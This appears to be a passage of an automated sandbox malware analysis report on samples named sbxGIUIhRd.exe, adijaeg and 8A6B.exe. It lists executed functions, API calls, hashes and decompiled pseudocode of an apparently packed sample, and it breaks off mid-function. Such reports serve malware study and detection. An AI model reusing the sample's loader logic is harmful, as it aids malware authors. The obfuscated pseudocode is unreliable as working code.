Opcode Fuzzy Hash: 6d59876788e537b443f9e3a37a4c219168e7f80cafe5cf665e6f389791c8a235
Instruction Fuzzy Hash: 40F090B5B00215ABC700EFB8F84165F7774EBC9318F1042AAE80597391E6359590CB56

Uniqueness

Uniqueness Score: -1.00%

Function 0041C5DF, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

__CrtCheckMemory.LIBCMTD ref: 0041C5EF

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041C604
_CrtCheckMemory(), xrefs: 0041C5F8

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: CheckMemory
String ID: _CrtCheckMemory()$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 2067751306-2660621803
Opcode ID: 96337c6d0dba594ec11e93e9530b8ebcbdde8fcbdb6c408c328e87aefc14f32d
Instruction ID: ce3249acde3ebbe68ccaf2757605a08b9512916e25e81dbece7ca13447d0531d
Opcode Fuzzy Hash: 96337c6d0dba594ec11e93e9530b8ebcbdde8fcbdb6c408c328e87aefc14f32d
Instruction Fuzzy Hash: C2F0E578AC420487CA908B11EEC67E63220A76130DF209017FA09592C1EABC89C66E8F

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: sbxGIUIhRd.exe PID: 6984 Parent PID: 6964 sbxGIUIhRd.exeCOMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	24
Total number of Limit Nodes:	0

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

0x0040196d
0x0040196d
0x0040196d
0x00401970
0x00401971
0x00401973
0x00401978
0x00401986
0x0040198c
0x00401994
0x00401999
0x004019a1
0x004019af
0x004019b4
0x004019b6
0x004019b8
0x004019bb
0x004019be
0x004019bf
0x004019c0
0x004019c0
0x004019c9
0x004019e8
0x004019f9

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 00000001.00000002.718967865.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

0x00401973
0x00401978
0x00401986
0x0040198c
0x00401994
0x00401999
0x004019a1
0x004019af
0x004019b4
0x004019b6
0x004019b8
0x004019bb
0x004019be
0x004019bf
0x004019c0
0x004019c0
0x004019c9
0x004019e8
0x004019f9

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000001.00000002.718967865.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000001.00000002.718967865.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: adijaeg PID: 4204 Parent PID: 6604 adijaegCOMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	24
Total number of Limit Nodes:	0

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 0000000A.00000002.766918420.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_adijaeg.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 0000000A.00000002.766918420.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_adijaeg.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 0000000A.00000002.766918420.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_adijaeg.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: 8A6B.exe PID: 6760 Parent PID: 3424 8A6B.exeCOMMON

Execution Graph

Execution Coverage:	1.7%
Dynamic/Decrypted Code Coverage:	16%
Signature Coverage:	0%
Total number of Nodes:	387
Total number of Limit Nodes:	5

Executed Functions

Function 004027CA, Relevance: .4, Instructions: 439
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.806569365.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_8A6B.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59ac989ca3708892bfd26f4acbf633906e2528be2d17ed7f41992104238ec0bb
Instruction ID: 0338b83136466491310ec3fcb80edeb4c240d654d82b0732370eb0c756bdbeb0
Opcode Fuzzy Hash: 59ac989ca3708892bfd26f4acbf633906e2528be2d17ed7f41992104238ec0bb
Instruction Fuzzy Hash: D4C1B93210E141DFEB00AE24EEC98DAFB65FF1633477001ABD8426B1D2C67B5542DB66

Uniqueness

Uniqueness Score: -1.00%

Function 0059003C, Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0059024D

Strings

cess, xrefs: 0059018D
kernel32.dll, xrefs: 0059008F, 00590095

Memory Dump Source

Source File: 0000000C.00000002.807149460.0000000000590000.00000040.00000001.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_590000_8A6B.jbxd

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: 2e0c7bffce0df653ae4bd3b421438ccf62c9c6c928d3b1eb02509c7aad68151e
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: 37526974A01229DFDB64CF58C984BA8BBB1BF09314F1484D9E54DAB391DB30AE85DF14

Uniqueness

Uniqueness Score: -1.00%

Function 00590DF8, Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00590223,?,?), ref: 00590E02
SetErrorMode.KERNELBASE(00000000,?,?,00590223,?,?), ref: 00590E07

Memory Dump Source

Source File: 0000000C.00000002.807149460.0000000000590000.00000040.00000001.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_590000_8A6B.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 55ca2f5d2b0bc27ec39b22dd56c3a03dd801bd2bdfd2480a501bd215a4980cde
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 0CD0123114512C77DB402A94DC09BCD7F1C9F05B66F008411FB0DD9181C770994046E5

Uniqueness

Uniqueness Score: -1.00%

Function 005807A6, Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Module32First.KERNEL32(00000000,00000224), ref: 005807EE

Memory Dump Source

Source File: 0000000C.00000002.807054691.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_580000_8A6B.jbxd

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: d4e223ec739f83a1a0062686fbb4b3eba234cf6a0a95aec206269faca5c92401
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: FCF062311017116FE7603AB5988DA6F7AE8FF49B65F101528EA42E10C0DA70F8494B61

Uniqueness

Uniqueness Score: -1.00%

Function 00580465, Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 005804B6

Memory Dump Source

Source File: 0000000C.00000002.807054691.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_580000_8A6B.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: fb63342c5605235f2c974cdee0cc47e477234a6bec6fa23bb39655c2a3745a14
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 88112B79A40208EFDB41DF98C985E98BFF5AF08350F058094FA48AB362D371EA50DF80

Uniqueness

Uniqueness Score: -1.00%

Function 00402A07, Relevance: .3, Instructions: 254
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 29%

			E00402A07(void* __edi, signed int __esi, void* __fp0) {
				signed int _t51;
				void* _t53;
				signed int _t56;
				void* _t59;
				void* _t62;
				void* _t65;
				void* _t67;
				void* _t71;
				void* _t72;
				void* _t81;
				void* _t85;
				void* _t86;
				void* _t91;
				void* _t92;
				signed int _t109;
				signed int* _t132;
				void* _t137;
				void* _t140;
				void* _t143;
				intOrPtr _t145;
				signed int* _t146;
				signed int _t147;
				void* _t149;
				signed int _t150;
				void* _t152;
				signed int _t153;
				signed int _t154;
				void* _t159;
				signed int _t160;
				signed int _t161;
				signed int _t166;
				void* _t174;
				void* _t181;
				signed long long _t183;

				_t181 = __fp0;
				_t153 = __esi;
				_t149 = __edi;
				asm("out 0x59, eax");
				asm("rcr byte [esi], cl");
				asm("fsubr dword [esi-0x2da4a48c]");
				asm("cmpsd");
				asm("movsb");
				asm("cs cmpsd");
				asm("movsb");
				asm("movsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x59c6df54]");
				_t145 = ds;
				 *(__esi - 0x2f) =  *(__esi - 0x2f) | __esi;
				_pop(_t81);
				_t51 = _t154;
				_t4 = _t51 + 0x4ab073ae;
				_t146 =  *_t4;
				 *_t4 = _t145;
				asm("enter 0x9e6f, 0x38");
				asm("cmc");
				 *__esi =  *__esi ^ __esi;
				asm("rcl byte [edi+0x7f], 1");
				asm("fcomp dword [edi+0x795eb05f]");
				asm("lds esi, [eax+0x45b3f1a9]");
				_t166 = _t51 & 0xb345b3f1;
				asm("movsb");
				asm("movsb");
				_t140 = 0x9d;
				_t53 = E00401277(0x2a84, _t81, __edi, __esi, 0x5e, _t166);
				_pop(_t85);
				 *(_t85 + 0x3e) =  *(_t85 + 0x3e) ^ 0x00000012;
				_pop(_t86);
				 *((intOrPtr*)(_t86 + 0x35)) =  *((intOrPtr*)(_t86 + 0x35)) - _t86;
				asm("aaa");
				_t91 = 0x5b5b695b;
				 *((intOrPtr*)(_t91 + 0x3e)) =  *((intOrPtr*)(_t91 + 0x3e)) - 0x12;
				_pop(_t92);
				 *((intOrPtr*)(_t92 + 0x68)) =  *((intOrPtr*)(_t92 + 0x68)) - _t92;
				asm("aaa");
				asm("aaa");
				_t109 = 0x5b5b695b;
				asm("das");
				_t160 = _t159 - 1;
				_t56 = _t53 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t156 = 0xdea4a4a7;
				asm("wait");
				_push(_t160);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t153);
				_t150 = _t149 -  *0xFFFFFFFFDEA4A4EF;
				_t168 = _t109 ^ _t150;
				if((_t109 ^ _t150) < 0) {
					_pop(_t132);
					_t153 = _t153 +  *((intOrPtr*)(_t56 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t156 = 0xdea4a4a7 - _t150;
					asm("int3");
					 *_t132 =  *_t132 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t137 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t71 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t71 - 0x15)) =  *((intOrPtr*)(_t71 - 0x15)) + _t137;
					_t72 = _t71 + 0xf4eb4097;
					asm("movsd");
					_t140 = 0x9a;
					_t56 = E00401277(_t72, _t137, _t150, _t153, _t156, _t168);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t160 = 0x10eba4a4 |  *(_t153 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t161 = _t160 |  *(_t153 + _t156 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t161);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t183 = (_t181 - _t146[0x1a]) *  *_t146;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t147);
					asm("salc");
					_t183 = _t183 +  *_t153;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t56;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t56 = 0x49;
					_t148 = _t147 ^  *0xd05b5b70;
				} while ((_t147 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t152);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t153);
				_t174 = _t140 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t59 =  *_t161;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t59, 0x688e1679, _t152, _t153, 0x13eba4a4, _t174);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t62 = E004025E8(_t152, _t153, _t174); // executed
				_t175 = _t62;
				if(_t62 != 0) {
					if(E00401F34(_t152, _t175,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L26:
						_t180 = gs;
						if(gs != 0) {
							_t65 = 0x688e6ab7;
							_t143 = 0x2ef8;
						} else {
							_t65 = 0x688e471e;
							_t143 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t143);
						_push(_t65);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t148, _t180);
						_t67 = 0x2c1c;
						_t62 = E00401277(_t67, 0x688e1679, _t152, _t153, 0x13eba4a4, _t180);
					} else {
						_t62 = E00402255(_t183,  *((intOrPtr*)(0x13eba4a0)));
						_t177 = _t62;
						if(_t62 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t62 = L00402321(0x688e1679, _t152, _t153, _t177, _t183);
							_t178 = _t62;
							if(_t62 != 0) {
								_t62 = E00401FF1(_t178, _t183,  *((intOrPtr*)(0x13eba4a0)));
								if(_t62 != 0) {
									goto L26;
								}
							}
						}
					}
				}
				return _t62;
			}

0x00402a07
0x00402a07
0x00402a07
0x00402a07
0x00402a0b
0x00402a0f
0x00402a16
0x00402a17
0x00402a18
0x00402a1a
0x00402a1f
0x00402a20
0x00402a21
0x00402a22
0x00402a2c
0x00402a2d
0x00402a36
0x00402a39
0x00402a3a
0x00402a3a
0x00402a3a
0x00402a40
0x00402a44
0x00402a45
0x00402a47
0x00402a4a
0x00402a50
0x00402a52
0x00402a57
0x00402a58
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000C.00000002.806569365.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_8A6B.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b045a89dc38c056c7d7352abef0b4b2f573bda20b5254fa9f7f2cee09e6065b
Instruction ID: 28c32271fa903d2e502f5c43ee7f2935ae1d22089060b7f4ec41985c8baa115a
Opcode Fuzzy Hash: 3b045a89dc38c056c7d7352abef0b4b2f573bda20b5254fa9f7f2cee09e6065b
Instruction Fuzzy Hash: A6717732109101DFEB00AE64EECA59AFB64FF1937477001ABDC416F1E2C37B5542DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402A5E, Relevance: .2, Instructions: 219
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 33%

			E00402A5E(void* __ebx, void* __ecx, signed int* __edx, void* __edi, intOrPtr* __esi, void* __eflags, void* __fp0) {
				void* _t42;
				signed int _t45;
				void* _t48;
				void* _t51;
				void* _t54;
				void* _t56;
				void* _t60;
				void* _t61;
				void* _t66;
				void* _t67;
				void* _t72;
				void* _t73;
				signed int _t90;
				signed int* _t113;
				void* _t118;
				void* _t123;
				void* _t126;
				signed int* _t128;
				signed int _t129;
				void* _t131;
				signed int _t132;
				void* _t134;
				intOrPtr* _t135;
				void* _t136;
				void* _t140;
				signed int _t141;
				signed int _t142;
				void* _t155;
				void* _t162;
				signed long long _t164;

				_t162 = __fp0;
				_t135 = __esi;
				_t131 = __edi;
